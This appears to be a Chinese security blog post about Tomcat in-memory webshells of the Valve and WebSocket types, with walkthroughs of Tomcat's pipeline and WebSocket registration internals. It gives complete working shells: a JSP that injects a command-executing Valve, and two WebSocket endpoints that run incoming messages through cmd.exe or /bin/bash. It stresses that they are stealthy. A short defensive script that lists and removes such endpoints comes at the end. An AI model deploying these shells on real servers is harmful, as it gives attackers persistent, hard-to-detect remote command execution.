Tomcat内存马之Valve和WebSocket型

前言

之前写了关于Tomcat的listener、filter、servlet型内存马,并没有将valve和websocket加上,因为觉得还是有不一样的地方,所以单独提出来细说一下,尤其是websocket内存马,毕竟在使用的协议和方法上都有不同,但又总是容易被忽略。
同样,需引入Tomcat依赖:

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.70</version>
</dependency>

Valve型内存马

关于valve

在Tomcat中存在一种管道机制,它是基于Java Servlet规范的实现,其中Servlet是一个Java类,用于处理HTTP请求和响应。Tomcat的管道机制使用了Servlet中的Filter和Servlet规范中的Servlet容器。Servlet容器使用一个称为Pipeline的处理管道来处理HTTP请求。Pipeline(管道)和Valve(阀门),顾名思义valve就像阀门一样,控制管道的流通状态。Pipeline由一系列的Valve组成,每个Valve都是一个Java类,用于处理HTTP请求的不同阶段。可以通过配置文件中的元素来指定Valve。
每个Pipeline中内部就像filter中的chain链处理机制,其中一个Pipeline可以由多个Valve组成,并且在处理HTTP请求时,请求将按照Valve在Pipeline中的顺序进行处理。每个Valve都可以将请求传递给下一个Valve,或者在处理请求之前或之后执行自定义逻辑。通过编写自定义的Valve,可以扩展Tomcat的功能和行为,并在处理HTTP请求时添加自定义的功能。
image.png
在Tomcat下的Container中Engine、Host、Context、Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。

动态添加Valve

Pipeline接口继承自Contained,定义了几个操作Valve的方法,其中可以使用addValve添加一个valve,getValve获取valve
image.png
Valve接口,同样可以使用对应的get获取set添加,其中,在invoke()方法中能够自定义我们的代码逻辑,这也是执行命令执行的地方。
image.png
因为是调用connector的adapter与container连接通信,所以关注org.apache.catalina.connector包下的CoyoteAdapter类,看看内部是如何与container连接的。
image.png
在CoyoteAdapter#service中,发现关键句:connector.getService().getContainer().getPipeline().getFirst().invoke(request, response),具体来看看image.png
一步一步看下来大概就是StandardService->StandardEngine->StandardPipeline->StandardEngineValve->invoke
image.png
image.png
image.png
因此,只要在此之前,在StandardPipeline中将Valve添加到其中就可以实现后续的getFirst再到invoke。
具体思路:

  1. 编写Valve_Shell恶意类,实现Valve接口,重写invoke->恶意代码逻辑
  2. 获取StandardContext对象
  3. StandardContext.getPipeline获取StandardPipeline
  4. StandardPipeline.addValve(Valve_Shell)添加恶意Valve

Exp:valveShell.jsp(jsp实现)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.catalina.Valve" %><%--
Created by IntelliJ IDEA.
User: Hui
Date: 2023/4/27
Time: 16:41
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Valve_Shell</title>
</head>
<body>
<%!
public class Valve_Shell implements Valve {
@Override
public Valve getNext() {
return null;
}
@Override
public void setNext(Valve valve) {
}
@Override
public void backgroundProcess() {
}
@Override
public boolean isAsyncSupported() {
return false;
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
StringBuilder stringBuilder = new StringBuilder();
String str = null;
while ((str = bufferedReader.readLine()) != null) {
stringBuilder.append(str + "\n");
}
writer.println(stringBuilder.toString());
}
}
}
%>

<%
Field declaredField = request.getClass().getDeclaredField("request");
declaredField.setAccessible(true);
Request req = (Request) declaredField.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Pipeline pipeline = standardContext.getPipeline();
Valve_Shell valveShell = new Valve_Shell();
pipeline.addValve(valveShell);
%>
</body>
</html>

image.png

WebSocket型内存马

WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然(比如微信朋友圈实时通知、在线协同编辑等)。主流浏览器以及一些常见服务端通信s框架(Tomcat、netty、undertow、webLogic等)都对WebSocket进行了技术支持。
在Tomcat中,WebSocket共有两种实现方式:

  1. @ServerEndpoint注解
  2. 继承抽象类:Endpoint

    @ServerEndpoint注解实现

    exp: Ws_Shell.java
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    package com.example.memshell.ws;

    import javax.websocket.*;
    import javax.websocket.server.ServerEndpoint;
    import java.io.InputStream;

    @ServerEndpoint("/lemono")
    public class Ws_Shell{
    private Session session;
    @OnOpen
    public void OnOpen(Session session){
    this.session=session;
    this.session.getAsyncRemote().sendText("open session");
    }
    @OnMessage
    public void OnMessage(String message) {
    try {
    Process process;
    boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
    if (bool) {
    process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", message });
    } else {
    process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", message });
    }
    InputStream inputStream = process.getInputStream();
    StringBuilder stringBuilder = new StringBuilder();
    int i;
    while ((i = inputStream.read()) != -1){
    stringBuilder.append((char)i);
    }
    inputStream.close();
    process.waitFor();
    session.getAsyncRemote().sendText(stringBuilder.toString());
    } catch (Exception exception) {
    exception.printStackTrace();
    }
    }
    @OnClose
    public void OnClose(){
    System.out.println("OnClose connect");
    }

    }
    Exp中实现了三个功能:@OnOpen(连接开辟时)、@OnMessage(消息传递)、@OnClose(连接关闭),@ServerEndpoint主要注册路由。因此,我们的恶意代码存在于OnMessage中,用于在消息传递时将命令执行结果回显带出到客户端。
    WebSocket连接工具:https://github.com/websockets/wscat,命令行实现形式,网上也有很多图形化工具。
    image.png

    继承Endpoint抽象类实现

    Exp:wsShell.jsp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    <%@ page import="javax.websocket.server.ServerEndpointConfig" %>
    <%@ page import="javax.websocket.server.ServerContainer" %>
    <%@ page import="javax.websocket.*" %>
    <%@ page import="java.io.*" %>

    <%!
    public static class C extends Endpoint implements MessageHandler.Whole<String> {
    private Session session;
    @Override
    public void onMessage(String s) {
    try {
    Process process;
    boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
    if (bool) {
    process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
    } else {
    process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
    }
    InputStream inputStream = process.getInputStream();
    StringBuilder stringBuilder = new StringBuilder();
    int i;
    while ((i = inputStream.read()) != -1){
    stringBuilder.append((char)i);
    }
    inputStream.close();
    process.waitFor();
    session.getBasicRemote().sendText(stringBuilder.toString());
    } catch (Exception exception) {
    exception.printStackTrace();
    }
    }
    @Override
    public void onOpen(final Session session, EndpointConfig config) {
    this.session = session;
    session.addMessageHandler(this);
    }
    }
    %>
    <%
    String path = request.getParameter("path");
    ServletContext servletContext = request.getSession().getServletContext();
    ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
    ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
    container.addEndpoint(configEndpoint);
    servletContext.setAttribute(ServerContainer.class.getName(),container);
    out.println("success, connect url path: " + servletContext.getContextPath() + path);
    %>
    Tomcat的WebSocket在实现时都需要继承Endpoint抽象类,并实现其中的方法。同样,为了消息的传递,这里还需要实现Message相关方法,exp中实现的MessageHandler.Whole#OnMessage。其中,Endpoint#onOpen方法为必须实现的方法,这里做的工作主要为将实现的MessageHandler添加到会话中。
    image.png

    创建流程

    Tomcat的Server端在启动时会默认通过 WsSci 配置相关信息。从绿色注解中可以看到首先会对存在@ServerEndpoint注解的class注册,这也是为什么可以方便的使用注解实现。
    先来到onStartup中,init初始化一个ServerContainer sc,跟进initimage.png
    通过servletContext创建WsServerContainer容器,接着servletContext中添加属性,也就是ServerContainer,在添加Listener,
    image.png
    image.png
    继续跟进WsServerContainer,主要看其中的addEndpoint方法,大概就是为实现了Endpoint类根据path添加到ServerContainer中,其中一个重要的参数为ServerEndpointConfig,需要通过它获取继承Endpoint相关类的信息。
    该类下有多个addEndpoint方法,过程用到三个,先看第二个
    image.png
    创建ServletEndpointConfig,pojo为继承Endpoint类的class,path为server端websocket的连接路由,最后将sec作为参数传递到第三个addEndpoint
    image.png
    第三个:
    image.png
    image.png
    当完成这一系列操作时,则代表endpoint成功被注册
    image.png
    大概的流程就是这样,关键点为:ServerEndpointConfig和ServerContainer,因此我们的注入流程大概就是:
    1. 首先获取servletContext
    2. 创建ServerEndpointConfig,需要给到继承了Endpoint的类和path路径
    3. 获取ServerContainer,用于承载endpoint
    4. serverContainer.addEndpoint,添加到容器中

ServerEndpointConfig直接可以根据该类下的内部类Builder#create创建,刚好只需要继承了endpoint的class和path路由即可
image.png
到这便在server端注册了一个以path为路径的websocket,客户端使用工具连接该地址即可与服务端通信。
访问http://localhost:8088/MemShell_war_exploded/wsShell.jsp?path=/le 注册,wscat连接:
image.png
关于websocket内存马,因为不同于其他filter、servlet类型,所以相对来说较为隐蔽,且不易被察觉。

WebSocket内存马查杀

传统的内存马查杀工具并不能很好的查杀WebSocket内存马,但只要是通过Tomcat注册,就一定存在相关访问路径和实体。
这篇文章中,讲述了WebSocket内存马的查杀思路,大概就是在 WsServerContainer#addEndpoint中,会将得到的WebSocket的uri和wsServerContainer类文件作为键值对put到configExactMatchMap中,而传进来的value下的config属性中是包含了我们需要的endpointClass的,对应调用getConfig应该就可以获取到我们需要的所有东西。
image.png
同样,configExactMatchMap在findMapping中被利用,通过path找寻对应的config,并将此config作为参数在声明WsMappingResult时即可赋值config,因为config内包含了endpointClass,所以下一步只需要反射WsMappingResult类,获取config属性即可!
image.png
image.png
Exp: wsShell_detect.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.Set" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="javax.websocket.server.ServerEndpointConfig" %><%-- Created by IntelliJ IDEA. --%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
// 通过 request 的 context 获取 ServerContainer
WsServerContainer wsServerContainer = (WsServerContainer) request.getServletContext().getAttribute(ServerContainer.class.getName());

// 利用反射获取 WsServerContainer 类中的私有变量 configExactMatchMap
Class<?> obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer");
Field field = obj.getDeclaredField("configExactMatchMap");
field.setAccessible(true);
Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer);

// 遍历configExactMatchMap, 打印所有注册的 websocket 服务
Set<String> keyset = configExactMatchMap.keySet();
Iterator<String> iterator = keyset.iterator();
while (iterator.hasNext()){
String key = iterator.next();
Object object = wsServerContainer.findMapping(key);
Class<?> wsMappingResultObj = Class.forName("org.apache.tomcat.websocket.server.WsMappingResult");
Field configField = wsMappingResultObj.getDeclaredField("config");
configField.setAccessible(true);
ServerEndpointConfig config1 = (ServerEndpointConfig)configField.get(object);
Class<?> clazz = config1.getEndpointClass();
// 打印 ws 服务 url, 对应的 class
out.println(String.format("websocket name:%s, websocket class: %s", key, clazz.getName()));
}

// 如果参数带name, 删除该服务,名字为name参数值
if(request.getParameter("name")!= null){
configExactMatchMap.remove(request.getParameter("name"));
out.println(String.format("delete ws service: %s", request.getParameter("name")));
}
%>

访问wsShell_detect.jsp
image.png
输入路径删除即可
image.png

小结

总的流程大致如下:
image.png
可以重点关注一些WebSocket内存马,整个流程走下来还是能学到很多东西。

Ref

https://xz.aliyun.com/t/11549
https://www.freebuf.com/articles/web/339361.html
https://www.freebuf.com/vuls/346129.html
https://goodapple.top/archives/1355#header-id-90